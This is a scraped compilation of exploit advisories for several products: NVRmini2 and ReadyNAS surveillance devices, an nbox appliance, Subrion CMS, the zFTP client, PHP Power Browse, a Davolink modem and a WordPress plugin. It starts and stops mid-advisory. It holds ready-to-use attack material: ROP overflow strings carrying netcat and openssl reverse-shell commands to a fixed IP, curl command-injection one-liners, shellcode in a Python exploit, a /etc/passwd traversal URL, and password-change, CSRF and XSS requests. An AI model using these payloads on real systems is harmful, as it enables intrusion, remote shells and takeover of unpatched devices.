sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}

Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26

Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.

> Exploitation on ReadyNAS Surveillance (version v1.1.2):
To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).

The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:
0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)
0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)
0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)
Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")

Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}

Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26

Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.

It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.


>> Fix: 
NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available.
Do not expose any of these devices to the Internet or any networks with unstrusted hosts.

Timeline:
28.02.2016: Disclosure to CERT/CC.
27.04.2016: Requested status update from CERT - they did not receive any response from vendors.
06.06.2016: Requested status update from CERT - still no response from vendors.
            Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo.
13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels.
07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure.
17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
04.08.2016: Coordinated disclosure with CERT.


>> References:
[1] https://www.kb.cert.org/vuls/id/856152


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
HireHackking 
E-DB Note: Source ~ http://carnal0wnage.attackresearch.com/2016/08/got-any-rces.html

(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)



To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)

https://github.com/javuto/nbox-pwnage 






*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:

RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
  curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'



RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;
  curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'



RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200
  curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

  GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'



The last one is a CSRF that leaves the machine fried, by resetting the machine completely:

  GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'



Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...



If you have any questions or feedback, hit me up in twitter (@javutin)!



Have a nice day!
HireHackking 
Document Title:
===============
Subrion v4.0.5 CMS - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1893


Release Date:
=============
2016-08-04


Vulnerability Laboratory ID (VL-ID):
====================================
1893


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
Subrion is a full featured open source CMS written in PHP 5 & MySQL with many options. Here is the list of the most important features.
You don't need to pay a single penny to start using Subrion CMS. It's not encrypted in any way so you can customize it per your needs.
It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content.

(Copy of the Vendor Homepage: http://www.subrion.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the Subrion v4.0.5 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Intelliants LLC
Product: Subrion - Content Management System (Web-Application) 4.0.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the Subrion v4.0.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

The sql-injection vulnerability is located in the `query` and ` show_query` parameters of the `.database/sql/` module POST 
method request. Remote attackers are able to execute own sql commands by usage of the insecure sql management tool request. 
The attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] ./database/sql/

Vulnerable Parameter(s):
				[+] show_query
				[+] query


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
<html>
<head><body>
<title>Subrion CMS - Remote SQL Injection PoC</title>
<form action="http://subrion.localhost:8080/admin/database/sql/" method="post">
  <input query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input show_query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input exec_query="Go" value"Go"
  <button>Send POST Method Request</button>
</body></head>
</form>
</html>


POST /admin/database/sql/ HTTP/1.1
Host: http://subrion.localhost:8080
query=[SQL-INJECTION VULNERABILITY!]&show_query=[SQL-INJECTION VULNERABILITY!]&exec_query=Go


--- SQL Error Exception Logs ---
You have an error in your SQL syntax;
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'command `extras`' at line 1}


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST /database/sql/ 
Mime Type[text/html]
   Request Header:
      Host[subrion.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[/admin/database/sql/]
      Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; loader=loaded; INTELLI_a1ef1b4b28=63c87c36882a10136a627aea5a94a581; _ga=GA1.2.1118331789.1469788535; _gat=1]
      Connection[keep-alive]
   POST-Daten:
      __st[6a4bf637dc90a9d8dd203fff134f8140]
      query[-1'SQL-INJECTION VULNERABILITY!]
      show_query[-1'SQL-INJECTION VULNERABILITY!]
      exec_query[Go]
   Response Header:
      Date[Fri, 29 Jul 2016 10:38:22 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.5.30]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; expires=Fri, 29-Jul-2016 11:08:22 GMT; Max-Age=1800]
      Vary[Accept-Encoding]
      Content-Length[5329]
      Content-Type[text/html]


Note: 	Use the permanent cookie to trigger the bug remotly on default setup without admin access credentials.
Cookie:	[f98078af3840ae5ba4a4800445924360] & [63c87c36882a10136a627aea5a94a581]


Reference(s):
http://subrion.localhost:8080/
http://subrion.localhost:8080/admin/
http://subrion.localhost:8080/admin/database/
http://subrion.localhost:8080/admin/database/sql/


Solution - Fix & Patch:
=======================
The sql-injection vulnerability can be patched by usage of a prepared statement in the sql database tool POST method request.
Parse and filter the parameter input of the query and show_query values. Disallow the usage of special chars to prevent further attacks.
Escape the entries to ensure the context is secure transmitted via POST method request.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the `query` and `show_query` parameters of the`/database/sql/`module is estimated high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
HireHackking 
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: zFTP Client
# Affected value: NAME under FTP connection
# Where in the code: Line 30 in strcpy_chk.c
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680 "/MACRO", destlen=0x50) at strcpy_chk.c:30
# Version: 20061220+dfsg3-4.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  ZFTP is a macro-extensible file transfer program which supports the
# transfer of formatted, unformatted and ZEBRA RZ files
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb
# MD5sum: 524217187d28e4444d6c437ddd37e4de
# Website: http://cernlib.web.cern.ch/cernlib/
#
# gdb$ run `python -c 'print "A"*30'`
# Starting program: /usr/bin/zftp `python -c 'print "A"*30'`
# *** buffer overflow detected ***: /usr/bin/zftp terminated
# ======= Backtrace: =========
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]
# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():
  try:
    print "# zFTP Client - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 100
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["zftp ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, zFTP client- Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit zFTP Client -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
HireHackking 
# Exploit Title: PHP Power Browse v1.2 - Path Traversal
# Google Dork:
    intitle:PHP Power Browse inurl:browse.php
# Exploit Author: Manuel Mancera (sinkmanu)    |    sinkmanu (at) gmail
(dot) com
# Software URL: https://github.com/arzynik/PHPPowerBrowse
# Version: 1.2
# Vulnerability Type : Path traversal
# Severity : High

### Description ###

This file browser is vulnerable to path traversal and allow to an
attacker to access to files and directories that are stored outside the
web root folder.

### Exploit ###

http://site/browse.php?p=source&file=/etc/passwd
HireHackking 
===================================================================
Title: Unauthenticated admin password change
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Missing Function Level Access Control [CWE-306]
Risk Level: High
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
===================================================================

[-] About the Product:

The Davolink DV-2051 is an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

Basic authentication is in place to authenticate the administrative user
against the web application. To change the administrator password the
old password must be provided, which is validated by JavaScript. By
intercepting a successful password reset request the JavaScript
validation can be bypassed. It was also noticed authorisation checks are
missing on the password reset functionality. Combining these
vulnerabilities enable unauthenticated users to change the admin
password with a single request.

[-] Proof of Concept:

The following request can be used to change the admin password to the
value ’FooBar’:

192.168.1.1/password.cgi?usrPassword=FooBar

========================================================
Title: Lack of CSRF protection
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: Medium
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
========================================================

[-] About the Product:

The Davolink DV-2051 is a an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

The web application enables users to set a password in order for clients
to connect to the SSID. Currently no measures against Cross-Site Request
Forgery have been implemented and therefore users can be tricked into
submitting requests without their knowledge or consent. From the
application's point of view these requests are legitimate requests from
the user and they will be processed as such. This can result in for
example changing the WPA2 password.

[-] Proof of Concept:

The following link can be used to trick a logged in user to set the WPA2
Pre Shared Key to ‘FooBar01’.

192.168.1.1/wlsecurity.wl?wlAuthMode=psk2&wlAuth=0&wlWpaPsk=FooBar01&wlWpaGtkRekey=0&wlNetReauth=36000&wlWep=disabled&wlWpa=tkip+aes&wlKeyBit=0&wlPreauth=0

===============================================================
Title: Multiple persistent Cross-Site Scripting vulnerabilities
Product: Davolink modem
Tested model: DV-2051
Vulnerability Type: Cross-Site Scripting [CWE-79]
Risk Level: Medium
Solution Status: No fix available
Discovered and Provided: Eric Flokstra
===============================================================

[-] About the Product:

The Davolink DV-2051 is a an ADSL modem with 4 Fast Ethernet ports,
Wireless Access Point and VoIP (2 times FXS).

[-] Advisory Details:

The web application enables users to add virtual servers to direct
incoming traffic from WAN side to an internal server with a private IP
address on the LAN side. It was noticed insufficient validation is
performed on several places such as the ‘srvName’ parameter which is
sent with the request when adding a new virtual server. This
vulnerability makes it possible to remotely execute arbitrary scripting
code in the target user's web browser by adding a persistent JavaScript
payload to the application.

[-] Proof of Concept:

The following request can be used as POC, it opens port 4444 to an
internal IP address. An iframe is added to the ‘srvName’ field and
displays a pop-up box.

192.168.1.1/scvrtsrv.cmd?action=add&srvName=FooBar<iframe%20onload=alert(0)>&srvAddr=192.168.1.100&proto=1,&eStart=4444,&eEnd=4444,iStart=4444,&iEnd=4444,

[-] Disclosure Timeline:

[04 06 2016]: Vendor notification
[07 06 2016]: Vulnerability confirmed. No fix will be released.
[16 07 2016]: Public Disclosure
HireHackking 
Stored Cross-Site Scripting vulnerability in Count per Day WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue can be exploited by an unauthenticated attacker and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160717-0001

Tested versions
This issue was successfully tested on Count per Day WordPress Plugin version 3.5.4.

Fix
This issue is resolved in Count per Day version 3.5.5.

Introduction

The Count per Day WordPress Plugin shows reads and visitors per page, visitors today, yesterday, last week, last months and other statistics. A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue can be exploited by an unauthenticated attacker and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Details

When manipulating the referer header by putting in javascript: it will be rendered on the admin page within the referers list as a a href attribute. When admin (or above author level) clicks on it the XSS gets executed.

Tags get stripped so it's not possible to execute the XSS directly on load. Single and double quotes are escaped, but can be worked around. Example:

Referer: javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))


The referer list shows the top 20. But its easy to get your attack referer in the top by just looping with unique x-forwarded-for ip's. By default referers are stored (but can be turned off in the settings of the plugin). Up to 150 chars of the referer are stored (can be changed to 500 max).

Proof of concept

GET / HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,nl;q=0.6
x-forwarded-for: 1.1.1.5
Referer: javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))
Connection: close
HireHackking 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2016-065
Product: NASdeluxe NDL-2400r
Vendor: Starline Computer GmbH
Affected Version(s): 2.01.10
Tested Version(s): 2.01.09 
Vulnerability Type: OS Command Injection (CWE-78)
Risk Level: High
Solution Status: no fix (product has reached EOL since 3 years)
Vendor Notification: 2016-07-04
